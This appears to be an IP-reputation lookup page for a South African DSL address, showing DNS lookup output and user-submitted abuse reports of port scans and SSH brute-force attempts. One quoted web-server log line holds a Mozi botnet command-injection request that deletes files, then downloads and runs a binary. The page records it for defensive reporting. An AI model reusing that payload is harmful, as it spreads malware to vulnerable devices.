105.226.22.118

Basic Info

City: unknown

Region: unknown

Country: South Africa

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
105.226.224.19	attackspam	Honeypot attack, port: 445, PTR: 224-226-105-19.north.dsl.telkomsa.net.	2019-12-19 13:17:33
105.226.221.2	attackbots	port scan/probe/communication attempt; port 23	2019-11-28 09:31:28
105.226.221.2	attackspam	Attempted to connect 3 times to port 23 TCP	2019-11-27 16:12:29
105.226.221.2	attack	IP Ban Report : https://help-dysk.pl/wordpress-firewall-plugins/ip/105.226.221.2/ ZA - 1H : (13) Protection Against DDoS WordPress plugin : "odzyskiwanie danych help-dysk" IP Address Ranges by Country : ZA NAME ASN : ASN37457 IP : 105.226.221.2 CIDR : 105.226.0.0/16 PREFIX COUNT : 64 UNIQUE IP COUNT : 806400 ATTACKS DETECTED ASN37457 : 1H - 1 3H - 1 6H - 1 12H - 2 24H - 3 DateTime : 2019-11-23 07:24:37 INFO : Port Scan TELNET Detected and Blocked by ADMIN - data recovery	2019-11-23 18:27:39
105.226.226.70	attackspambots	/wp-login.php	2019-09-20 10:51:44

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 105.226.22.118
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 13976
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;105.226.22.118.			IN	A

;; AUTHORITY SECTION:
.			360	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022022701 1800 900 604800 86400

;; Query time: 80 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Feb 28 14:22:18 CST 2022
;; MSG SIZE  rcvd: 107

Host info

118.22.226.105.in-addr.arpa domain name pointer 105-226-22-118.east.dsl.telkomsa.net.

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
118.22.226.105.in-addr.arpa	name = 105-226-22-118.east.dsl.telkomsa.net.

Authoritative answers can be found from:

Related IP info:

Related comments:

IP	Type	Details	Datetime
165.22.101.100	attackspambots	"XSS Attack Detected via libinjection - Matched Data: XSS data found within ARGS_NAMES:	2020-10-01 02:24:32
184.179.216.145	attack	(imapd) Failed IMAP login from 184.179.216.145 (US/United States/-): 1 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_TRIGGER; Logs: Sep 30 15:06:22 ir1 dovecot[1917636]: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=184.179.216.145, lip=5.63.12.44, TLS, session=	2020-10-01 02:48:35
106.52.249.134	attackbots	(sshd) Failed SSH login from 106.52.249.134 (CN/China/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Sep 30 13:40:58 server sshd[1408]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.52.249.134 user=root Sep 30 13:40:59 server sshd[1408]: Failed password for root from 106.52.249.134 port 38720 ssh2 Sep 30 13:46:00 server sshd[2118]: Invalid user user8 from 106.52.249.134 Sep 30 13:46:00 server sshd[2118]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.52.249.134 Sep 30 13:46:01 server sshd[2118]: Failed password for invalid user user8 from 106.52.249.134 port 51694 ssh2	2020-10-01 02:29:05
176.111.173.23	attack	Rude login attack (11 tries in 1d)	2020-10-01 02:22:22
106.12.193.6	attackspam	Invalid user web1 from 106.12.193.6 port 33428	2020-10-01 02:31:33
217.23.1.87	attackspambots	Cowrie Honeypot: 10 unauthorised SSH/Telnet login attempts between 2020-09-30T15:11:17Z and 2020-09-30T15:43:59Z	2020-10-01 02:50:33
125.165.222.204	attack	trying to access non-authorized port	2020-10-01 02:34:19
208.186.112.20	attackspambots	Spam	2020-10-01 02:47:24
51.15.12.78	attackbots	Connection to SSH Honeypot - Detected by HoneypotDB	2020-10-01 02:46:37
35.230.150.70	attackbots	Sep 30 19:29:55 con01 sshd[3913480]: Invalid user sk from 35.230.150.70 port 53326 Sep 30 19:29:55 con01 sshd[3913480]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.230.150.70 Sep 30 19:29:55 con01 sshd[3913480]: Invalid user sk from 35.230.150.70 port 53326 Sep 30 19:29:57 con01 sshd[3913480]: Failed password for invalid user sk from 35.230.150.70 port 53326 ssh2 Sep 30 19:33:41 con01 sshd[3921721]: Invalid user testdev from 35.230.150.70 port 32872 ...	2020-10-01 02:49:33
3.238.64.250	attackbots	[N3.H3.VM3] Port Scanner Detected Blocked by UFW	2020-10-01 02:45:22
202.83.42.68	attackbotsspam	202.83.42.68 - - [29/Sep/2020:21:33:55 +0100] 80 "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 403 824 "-" "Hello, world" ...	2020-10-01 02:25:56
139.186.4.114	attackbots	Sep 30 05:27:07 propaganda sshd[5014]: Connection from 139.186.4.114 port 42736 on 10.0.0.161 port 22 rdomain "" Sep 30 05:27:07 propaganda sshd[5014]: Connection closed by 139.186.4.114 port 42736 [preauth]	2020-10-01 02:39:20
190.210.60.4	attackbots	Sep 30 19:53:44 vmd26974 sshd[18357]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=190.210.60.4 Sep 30 19:53:46 vmd26974 sshd[18357]: Failed password for invalid user sarah from 190.210.60.4 port 58301 ssh2 ...	2020-10-01 02:55:04
210.245.36.114	attack	Brute forcing RDP port 3389	2020-10-01 02:36:03

Recently Reported IPs

105.226.220.208	105.226.228.183	105.226.24.234	105.226.233.79
105.226.245.144	146.42.210.14	105.226.242.72	105.226.247.184
105.226.240.131	105.226.243.181	105.226.25.22	105.226.246.237
105.226.25.6	105.226.249.189	105.226.25.82	105.226.25.190
105.226.25.44	105.226.240.219	105.226.252.74	105.226.252.183